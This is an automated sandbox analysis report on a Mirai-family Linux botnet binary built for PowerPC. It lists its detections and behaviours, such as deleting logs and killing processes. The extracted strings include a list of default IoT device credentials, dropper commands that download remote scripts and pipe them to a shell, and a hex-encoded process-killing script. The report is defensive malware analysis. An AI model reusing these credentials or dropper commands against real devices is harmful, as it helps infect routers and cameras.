Joe Sandbox Cloud Basic Analysis Report

Loading Joe Sandbox Report ...

Edit tour

Linux Analysis Report
la.bot.powerpc.elf

Overview

General Information

Sample name:la.bot.powerpc.elf
Analysis ID:1543074
MD5:c0e38c83141f9f77e0ed76f52fc71046
SHA1:9e4eb6fcc413744420623164b3b1e26ca5388bba
SHA256:e5d1c73ce962193364d9db54018f9d0e30a61b93654619668b1850a71127c60a
Tags:elfuser-abuse_ch
Infos:

Detection

Score:56
Range:0 - 100
Whitelisted:false

Signatures

Multi AV Scanner detection for submitted file
Deletes system log files
Sample tries to access files in /etc/config/ (typical for OpenWRT routers)
Creates hidden files and/or directories
Enumerates processes within the "proc" file system
Found strings indicative of a multi-platform dropper
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample has stripped symbol table
Sample listens on a socket
Sample tries to kill a process (SIGKILL)
Uses the "uname" system call to query kernel version information (possible evasion)

Classification

General Information

Joe Sandbox version:41.0.0 Charoite
Analysis ID:1543074
Start date and time:2024-10-27 07:57:04 +01:00
Joe Sandbox product:CloudBasic
Overall analysis duration:0h 4m 55s
Hypervisor based Inspection enabled:false
Report type:full
Cookbook file name:defaultlinuxfilecookbook.jbs
Analysis system description:Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:default
Sample name:la.bot.powerpc.elf
Detection:MAL
Classification:mal56.evad.linELF@0/0@0/0

Warnings

  • Skipping network analysis since amount of network traffic is too extensive

Runtime Messages

Command:/tmp/la.bot.powerpc.elf
PID:5435
Exit Code:0
Exit Code Info:
Killed:False
Standard Output:
thIs wEek on xLaB lEarNs nOthinG xd
Standard Error:

Process Tree

  • system is lnxubuntu20
  • cleanup

Yara Signatures

⊘No yara matches

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

barindex
Multi AV Scanner detection for submitted file
Source: la.bot.powerpc.elfVirustotal: Detection: 32%Perma Link
Source: la.bot.powerpc.elfReversingLabs: Detection: 28%
Source: la.bot.powerpc.elfString: ash|login|wget|curl|tftp|ntpdate|ftp
Source: la.bot.powerpc.elfString: /proc//exe|ash|login|wget|curl|tftp|ntpdate|ftp/lib//lib64//fd/mountinfo/dev/null|/dev/consolesocket|proc/usr/bin/usr/sbin/system/mnt/mtd/app/org/z/zbin/home/app/dvr/bin/duksan/userfs/mnt/app/usr/etc/dvr/main/usr/local/var/bin/tmp/sqfs/z/bin/dvr/mnt/mtd/zconf/gm/bin/home/process/var/challenge/usr/lib/lib/systemd//usr/lib/systemd/system/system/bin//mnt//home/helper/home/davinci/usr/libexec//sbin//bin//proc/net/tcp/proc/fd//proc/self/exe/. /proc/
Source: la.bot.powerpc.elfString: rootPon521Zte521root621vizxvoelinux123wabjtamZxic521tsgoingon123456xc3511solokeydefaulta1sev5y7c39khkipc2016unisheenFireituphslwificam5upjvbzd1001chinsystemzlxx.admin7ujMko0vizxv1234horsesantslqxc12345xmhdipcicatch99founder88xirtamtaZz@01/*6.=_ja12345t0talc0ntr0l4!7ujMko0admintelecomadminipcam_rt5350juantech1234dreamboxIPCam@swzhongxinghi3518hg2x0dropperipc71aroot123telnetipcamgrouterGM8182200808263ep5w2uadmin123admin1234admin@123BrAhMoS@15GeNeXiS@19firetide2601hxservicepasswordsupportadmintelnetadminadmintelecomguestftpusernobodydaemon1cDuLJ7ctlJwpbo6S2fGqNFsOxhlwSG8lJwpbo6tluafedvstarcam201520150602supporthikvisione8ehomeasbe8ehomee8telnetcisco/bin/busyboxenableshellshlinuxshellping ;sh/bin/busybox hostname FICORA/bin/busybox echo > .ri && sh .ri && cd .ntpfsh .ntpf/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrepwEek/var//var/run//var/tmp//dev//dev/shm//etc//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63\x2F\x2A\3B""\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A\x20\x20\x23\x20\x53\x6B\x69\x70\x20\x6E\x6F\x6E\x2D""\x6E\x75\x6D\x65\x72\x69\x63\x20\x64\x69\x72\x65\x63\x74\x6F\x72\x69\x65\x73\x0A\x20\x20\x69\x66\x20\x21\x20\x5B\x20\x22\x24\x70\x69\x64\x22\x20\x2D\x65""\x71\x20\x22\x24\x70\x69\x64\x22\x20\x5D\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x63\x6F\x6E\x74""\x69\x6E\x75\x65\x0A\x20\x20\x66\x69\x0A\x0A\x20\x20\x23\x20\x47\x65\x74\x20\x74\x68\x65\x20\x63\x6F\x6D\x6D\x61\x6E\x64\x20\x6C\x69\x6E\x65\x20\x6F\x66""\x20\x74\x68\x65\x20\x70\x72\x6F\x63\x65\x73\x73\x0A\x20\x20\x63\x6D\x64\x6C\x69\x6E\x65\x3D\x24\x28\x74\x72\x20\x27\x5C\x30\x27\x20\x27\x20\x27\x20\x3C""\x20\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x63\x6D\x64\x6C\x69\x6E\x65\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x23""\x20\x43\x68\x65\x63\x6B\x20\x69\x66\x20\x74\x68\x65\x20\x63\x6F\x6D\x6D\x61\x6E\x64\x20\x6C\x69\x6E\x65\x20\x63\x6F\x6E\x74\x61\x69\x6E\x73\x20\x22\x64""\x76\x72\x48\x65\x6C\x70\x65\x72\x22\x0A\x20\x20\x69\x66\x20\x65\x63\x68\x6F\x20\x22\x24\x63\x6D\x64\x6C\x69\x6E\x65\x22\x20\x7C\x20\x67\x72\x65\x70\x20\x2D""\x71\x20\x22\x64\x76\x72\x48\x65\x6C\x70\x65\x72\x22\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64""\x22\x0A\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"armarm5arm6arm7mipsmpslppcspcsh4
Source: /tmp/la.bot.powerpc.elf (PID: 5435)Socket: 127.0.0.1:1234Jump to behavior
Source: la.bot.powerpc.elfString found in binary or memory: http:///curl.sh
Source: la.bot.powerpc.elfString found in binary or memory: http:///wget.sh
Source: Initial sampleString containing 'busybox' found: (usage: busybox
Source: Initial sampleString containing 'busybox' found: /bin/busybox echo -ne
Source: Initial sampleString containing 'busybox' found: /bin/busybox
Source: Initial sampleString containing 'busybox' found: /bin/busybox hostname FICORA
Source: Initial sampleString containing 'busybox' found: /bin/busybox echo >
Source: Initial sampleString containing 'busybox' found: /bin/busybox wget http://
Source: Initial sampleString containing 'busybox' found: /wget.sh -O- | sh;/bin/busybox tftp -g
Source: Initial sampleString containing 'busybox' found: -r tftp.sh -l- | sh;/bin/busybox ftpget
Source: Initial sampleString containing 'busybox' found: /bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrep
Source: Initial sampleString containing 'busybox' found: (usage: busyboxincorrectinvalidbadwrongfaildeniederrorretryGET /dlr. HTTP/1.0
Source: Initial sampleString containing 'busybox' found: /bin/busybox echo -ne >> > upnp
Source: Initial sampleString containing 'busybox' found: rootPon521Zte521root621vizxvoelinux123wabjtamZxic521tsgoingon123456xc3511solokeydefaulta1sev5y7c39khkipc2016unisheenFireituphslwificam5upjvbzd1001chinsystemzlxx.admin7ujMko0vizxv1234horsesantslqxc12345xmhdipcicatch99founder88xirtamtaZz@01/*6.=_ja12345t0talc0ntr0l4!7ujMko0admintelecomadminipcam_rt5350juantech1234dreamboxIPCam@swzhongxinghi3518hg2x0dropperipc71aroot123telnetipcamgrouterGM8182200808263ep5w2uadmin123admin1234admin@123BrAhMoS@15GeNeXiS@19firetide2601hxservicepasswordsupportadmintelnetadminadmintelecomguestftpusernobodydaemon1cDuLJ7ctlJwpbo6S2fGqNFsOxhlwSG8lJwpbo6tluafedvstarcam201520150602supporthikvisione8ehomeasbe8ehomee8telnetcisco/bin/busyboxenableshellshlinuxshellping ;sh/bin/busybox hostname FICORA/bin/busybox echo > .ri && sh .ri && cd .ntpfsh .ntpf/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrepwEek/var//var/run//var
Source: ELF static info symbol of initial sample.symtab present: no
Source: /tmp/la.bot.powerpc.elf (PID: 5437)SIGKILL sent: pid: 936, result: successfulJump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 5554)SIGKILL sent: pid: 5552, result: successfulJump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 5580)SIGKILL sent: pid: 5578, result: successfulJump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 5608)SIGKILL sent: pid: 5606, result: successfulJump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 5639)SIGKILL sent: pid: 5637, result: successfulJump to behavior
Source: classification engineClassification label: mal56.evad.linELF@0/0@0/0

Data Obfuscation

barindex
Sample tries to access files in /etc/config/ (typical for OpenWRT routers)
Source: /tmp/la.bot.powerpc.elf (PID: 5438)File: /etc/configJump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 5438)Directory: /root/.cacheJump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 5438)Directory: /root/.sshJump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 5438)Directory: /root/.configJump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 5438)Directory: /root/.localJump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 5438)Directory: /tmp/.X11-unixJump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 5438)Directory: /tmp/.Test-unixJump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 5438)Directory: /tmp/.font-unixJump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 5438)Directory: /tmp/.ICE-unixJump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 5438)Directory: /tmp/.XIM-unixJump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 5438)Directory: /etc/.javaJump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 5437)File opened: /proc/230/fdJump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 5437)File opened: /proc/110/fdJump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 5437)File opened: /proc/231/fdJump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 5437)File opened: /proc/111/fdJump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 5437)File opened: /proc/232/fdJump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 5437)File opened: /proc/112/fdJump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 5437)File opened: /proc/233/fdJump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 5437)File opened: /proc/113/fdJump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 5437)File opened: /proc/234/fdJump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 5437)File opened: /proc/114/fdJump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 5437)File opened: /proc/235/fdJump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 5437)File opened: /proc/115/fdJump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 5437)File opened: /proc/236/fdJump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 5437)File opened: /proc/116/fdJump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 5437)File opened: /proc/237/fdJump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 5437)File opened: /proc/117/fdJump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 5437)File opened: /proc/238/fdJump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 5437)File opened: /proc/118/fdJump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 5437)File opened: /proc/239/fdJump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 5437)File opened: /proc/119/fdJump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 5437)File opened: /proc/914/fdJump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 5437)File opened: /proc/10/fdJump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 5437)File opened: /proc/917/fdJump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 5437)File opened: /proc/11/fdJump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 5437)File opened: /proc/12/fdJump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 5437)File opened: /proc/13/fdJump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 5437)File opened: /proc/14/fdJump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 5437)File opened: /proc/15/fdJump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 5437)File opened: /proc/16/fdJump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 5437)File opened: /proc/17/fdJump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 5437)File opened: /proc/18/fdJump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 5437)File opened: /proc/19/fdJump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 5437)File opened: /proc/240/fdJump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 5437)File opened: /proc/120/fdJump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 5437)File opened: /proc/241/fdJump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 5437)File opened: /proc/121/fdJump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 5437)File opened: /proc/242/fdJump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 5437)File opened: /proc/1/fdJump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 5437)File opened: /proc/122/fdJump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 5437)File opened: /proc/243/fdJump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 5437)File opened: /proc/2/fdJump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 5437)File opened: /proc/123/fdJump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 5437)File opened: /proc/244/fdJump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 5437)File opened: /proc/3/fdJump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 5437)File opened: /proc/124/fdJump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 5437)File opened: /proc/245/fdJump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 5437)File opened: /proc/125/fdJump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 5437)File opened: /proc/4/fdJump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 5437)File opened: /proc/246/fdJump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 5437)File opened: /proc/126/fdJump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 5437)File opened: /proc/5/fdJump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 5437)File opened: /proc/247/fdJump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 5437)File opened: /proc/127/fdJump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 5437)File opened: /proc/6/fdJump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 5437)File opened: /proc/248/fdJump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 5437)File opened: /proc/128/fdJump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 5437)File opened: /proc/7/fdJump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 5437)File opened: /proc/249/fdJump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 5437)File opened: /proc/129/fdJump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 5437)File opened: /proc/8/fdJump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 5437)File opened: /proc/800/fdJump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 5437)File opened: /proc/9/fdJump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 5437)File opened: /proc/802/fdJump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 5437)File opened: /proc/803/fdJump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 5437)File opened: /proc/20/fdJump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 5437)File opened: /proc/21/fdJump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 5437)File opened: /proc/22/fdJump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 5437)File opened: /proc/23/fdJump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 5437)File opened: /proc/24/fdJump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 5437)File opened: /proc/25/fdJump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 5437)File opened: /proc/26/fdJump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 5437)File opened: /proc/27/fdJump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 5437)File opened: /proc/28/fdJump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 5437)File opened: /proc/29/fdJump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 5437)File opened: /proc/490/fdJump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 5437)File opened: /proc/250/fdJump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 5437)File opened: /proc/371/fdJump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 5437)File opened: /proc/130/fdJump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 5437)File opened: /proc/251/fdJump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 5437)File opened: /proc/131/fdJump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 5437)File opened: /proc/252/fdJump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 5437)File opened: /proc/132/fdJump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 5437)File opened: /proc/253/fdJump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 5437)File opened: /proc/254/fdJump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 5437)File opened: /proc/134/fdJump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 5437)File opened: /proc/255/fdJump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 5437)File opened: /proc/256/fdJump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 5437)File opened: /proc/257/fdJump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 5437)File opened: /proc/378/fdJump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 5437)File opened: /proc/258/fdJump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 5437)File opened: /proc/259/fdJump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 5437)File opened: /proc/936/fdJump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 5437)File opened: /proc/30/fdJump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 5437)File opened: /proc/816/fdJump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 5437)File opened: /proc/35/fdJump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 5437)File opened: /proc/260/fdJump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 5437)File opened: /proc/261/fdJump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 5437)File opened: /proc/262/fdJump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 5437)File opened: /proc/142/fdJump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 5437)File opened: /proc/263/fdJump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 5437)File opened: /proc/264/fdJump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 5437)File opened: /proc/265/fdJump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 5437)File opened: /proc/145/fdJump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 5437)File opened: /proc/266/fdJump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 5437)File opened: /proc/267/fdJump to behavior

Hooking and other Techniques for Hiding and Protection

barindex
Deletes system log files
Source: /tmp/la.bot.powerpc.elf (PID: 5438)Log files deleted: /var/log/kern.logJump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 5435)Queries kernel information via 'uname': Jump to behavior
Source: la.bot.powerpc.elf, 5435.1.000055f7d4227000.000055f7d42d7000.rw-.sdmp, la.bot.powerpc.elf, 5552.1.000055f7d4227000.000055f7d42d7000.rw-.sdmp, la.bot.powerpc.elf, 5554.1.000055f7d4227000.000055f7d42d7000.rw-.sdmp, la.bot.powerpc.elf, 5578.1.000055f7d4227000.000055f7d42d7000.rw-.sdmp, la.bot.powerpc.elf, 5580.1.000055f7d4227000.000055f7d42d7000.rw-.sdmp, la.bot.powerpc.elf, 5606.1.000055f7d4227000.000055f7d42d7000.rw-.sdmp, la.bot.powerpc.elf, 5608.1.000055f7d4227000.000055f7d42d7000.rw-.sdmp, la.bot.powerpc.elf, 5637.1.000055f7d4227000.000055f7d42d7000.rw-.sdmp, la.bot.powerpc.elf, 5639.1.000055f7d4227000.000055f7d42d7000.rw-.sdmpBinary or memory string: !/etc/qemu-binfmt/ppc1
Source: la.bot.powerpc.elf, 5435.1.00007fff99e30000.00007fff99e51000.rw-.sdmp, la.bot.powerpc.elf, 5552.1.00007fff99e30000.00007fff99e51000.rw-.sdmp, la.bot.powerpc.elf, 5554.1.00007fff99e30000.00007fff99e51000.rw-.sdmp, la.bot.powerpc.elf, 5578.1.00007fff99e30000.00007fff99e51000.rw-.sdmp, la.bot.powerpc.elf, 5580.1.00007fff99e30000.00007fff99e51000.rw-.sdmp, la.bot.powerpc.elf, 5606.1.00007fff99e30000.00007fff99e51000.rw-.sdmp, la.bot.powerpc.elf, 5608.1.00007fff99e30000.00007fff99e51000.rw-.sdmp, la.bot.powerpc.elf, 5637.1.00007fff99e30000.00007fff99e51000.rw-.sdmp, la.bot.powerpc.elf, 5639.1.00007fff99e30000.00007fff99e51000.rw-.sdmpBinary or memory string: vx86_64/usr/bin/qemu-ppc/tmp/la.bot.powerpc.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/la.bot.powerpc.elf
Source: la.bot.powerpc.elf, 5435.1.000055f7d4227000.000055f7d42d7000.rw-.sdmp, la.bot.powerpc.elf, 5552.1.000055f7d4227000.000055f7d42d7000.rw-.sdmp, la.bot.powerpc.elf, 5554.1.000055f7d4227000.000055f7d42d7000.rw-.sdmp, la.bot.powerpc.elf, 5578.1.000055f7d4227000.000055f7d42d7000.rw-.sdmp, la.bot.powerpc.elf, 5580.1.000055f7d4227000.000055f7d42d7000.rw-.sdmp, la.bot.powerpc.elf, 5606.1.000055f7d4227000.000055f7d42d7000.rw-.sdmp, la.bot.powerpc.elf, 5608.1.000055f7d4227000.000055f7d42d7000.rw-.sdmp, la.bot.powerpc.elf, 5637.1.000055f7d4227000.000055f7d42d7000.rw-.sdmp, la.bot.powerpc.elf, 5639.1.000055f7d4227000.000055f7d42d7000.rw-.sdmpBinary or memory string: /etc/qemu-binfmt/ppc
Source: la.bot.powerpc.elf, 5435.1.00007fff99e30000.00007fff99e51000.rw-.sdmp, la.bot.powerpc.elf, 5552.1.00007fff99e30000.00007fff99e51000.rw-.sdmp, la.bot.powerpc.elf, 5554.1.00007fff99e30000.00007fff99e51000.rw-.sdmp, la.bot.powerpc.elf, 5578.1.00007fff99e30000.00007fff99e51000.rw-.sdmp, la.bot.powerpc.elf, 5580.1.00007fff99e30000.00007fff99e51000.rw-.sdmp, la.bot.powerpc.elf, 5606.1.00007fff99e30000.00007fff99e51000.rw-.sdmp, la.bot.powerpc.elf, 5608.1.00007fff99e30000.00007fff99e51000.rw-.sdmp, la.bot.powerpc.elf, 5637.1.00007fff99e30000.00007fff99e51000.rw-.sdmp, la.bot.powerpc.elf, 5639.1.00007fff99e30000.00007fff99e51000.rw-.sdmpBinary or memory string: /usr/bin/qemu-ppc

Mitre Att&ck Matrix

ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
Gather Victim Identity Information1
Scripting		Valid AccountsWindows Management Instrumentation1
Scripting		Path Interception1
Hidden Files and Directories		1
OS Credential Dumping		11
Security Software Discovery		Remote ServicesData from Local SystemData ObfuscationExfiltration Over Other Network MediumAbuse Accessibility Features
CredentialsDomainsDefault AccountsScheduled Task/JobBoot or Logon Initialization ScriptsBoot or Logon Initialization Scripts1
Indicator Removal		LSASS MemoryApplication Window DiscoveryRemote Desktop ProtocolData from Removable MediaJunk DataExfiltration Over BluetoothNetwork Denial of Service

Malware Configuration

⊘No configs have been found

Behavior Graph

Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Number of created Files
  • Is malicious
  • Internet
behaviorgraph top1 signatures2 2 Behavior Graph ID: 1543074 Sample: la.bot.powerpc.elf Startdate: 27/10/2024 Architecture: LINUX Score: 56 33 Multi AV Scanner detection for submitted file 2->33 8 la.bot.powerpc.elf 2->8         started        process3 process4 10 la.bot.powerpc.elf 8->10         started        13 la.bot.powerpc.elf 8->13         started        15 la.bot.powerpc.elf 8->15         started        signatures5 35 Sample tries to access files in /etc/config/ (typical for OpenWRT routers) 10->35 37 Deletes system log files 10->37 17 la.bot.powerpc.elf 13->17         started        19 la.bot.powerpc.elf 13->19         started        21 la.bot.powerpc.elf 13->21         started        23 2 other processes 13->23 process6 process7 25 la.bot.powerpc.elf 17->25         started        27 la.bot.powerpc.elf 19->27         started        29 la.bot.powerpc.elf 21->29         started        31 la.bot.powerpc.elf 23->31         started       

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

SourceDetectionScannerLabelLink
la.bot.powerpc.elf33%VirustotalBrowse
la.bot.powerpc.elf29%ReversingLabsLinux.Trojan.Mirai

Dropped Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

⊘No Antivirus matches

Domains and IPs

Contacted Domains

⊘No contacted domains info

URLs from Memory and Binaries

NameSourceMaliciousAntivirus DetectionReputation
http:///wget.shla.bot.powerpc.elffalse
    		unknown
    http:///curl.shla.bot.powerpc.elffalse
      		unknown

      World Map of Contacted IPs

      ⊘No contacted IP infos

      Joe Sandbox View / Context

      IPs

      ⊘No context

      Domains

      ⊘No context

      ASNs

      ⊘No context

      JA3 Fingerprints

      ⊘No context

      Dropped Files

      ⊘No context

      Created / dropped Files

      ⊘No created / dropped files found

      Static File Info

      General

      File type:ELF 32-bit MSB executable, PowerPC or cisco 4500, version 1 (SYSV), statically linked, stripped
      Entropy (8bit):6.106270117337572
      TrID:
      • ELF Executable and Linkable format (generic) (4004/1) 100.00%
      File name:la.bot.powerpc.elf
      File size:75'156 bytes
      MD5:c0e38c83141f9f77e0ed76f52fc71046
      SHA1:9e4eb6fcc413744420623164b3b1e26ca5388bba
      SHA256:e5d1c73ce962193364d9db54018f9d0e30a61b93654619668b1850a71127c60a
      SHA512:ea1276d56aaca18eef66b6c8b1c9a90841090030d52c1aa903bdd739911e213a7febb0ece65866bba53ee5411695064f4b8aca20f616757a90694247e6ebaa6d
      SSDEEP:1536:CexZbHDsRsw9z96ZSd/IzeUluqrXI+zXUnzsTW:JHDsRsUci/IzJIiXUnN
      TLSH:09733B43731C4A07C5671EB02D3B17D193A79A8123E0F385661FBB4D85B1E33A54AEAD
      File Content Preview:.ELF...........................4..#......4. ...(.......................T...T.............. ... ... ....h..E.........dt.Q.............................!..|......$H...H......$8!. |...N.. .!..|.......?.........#...../...@..\?..... ..+../...A..$8...}).... .N..

      Static ELF Info

      ELF header

      Class:ELF32
      Data:2's complement, big endian
      Version:1 (current)
      Machine:PowerPC
      Version Number:0x1
      Type:EXEC (Executable file)
      OS/ABI:UNIX - System V
      ABI Version:0
      Entry Point Address:0x100001f0
      Flags:0x0
      ELF Header Size:52
      Program Header Offset:52
      Program Header Size:32
      Number of Program Headers:3
      Section Header Offset:74676
      Section Header Size:40
      Number of Section Headers:12
      Header String Table Index:11

      Sections

      NameTypeAddressOffsetSizeEntSizeFlagsFlags DescriptionLinkInfoAlign
      NULL0x00x00x00x00x0000
      .initPROGBITS0x100000940x940x240x00x6AX004
      .textPROGBITS0x100000b80xb80xfa600x00x6AX004
      .finiPROGBITS0x1000fb180xfb180x200x00x6AX004
      .rodataPROGBITS0x1000fb380xfb380x1f1c0x00x2A004
      .ctorsPROGBITS0x100220000x120000x80x00x3WA004
      .dtorsPROGBITS0x100220080x120080x80x00x3WA004
      .dataPROGBITS0x100220180x120180x3340x00x3WA008
      .sdataPROGBITS0x1002234c0x1234c0x1c0x00x3WA004
      .sbssNOBITS0x100223680x123680x940x00x3WA004
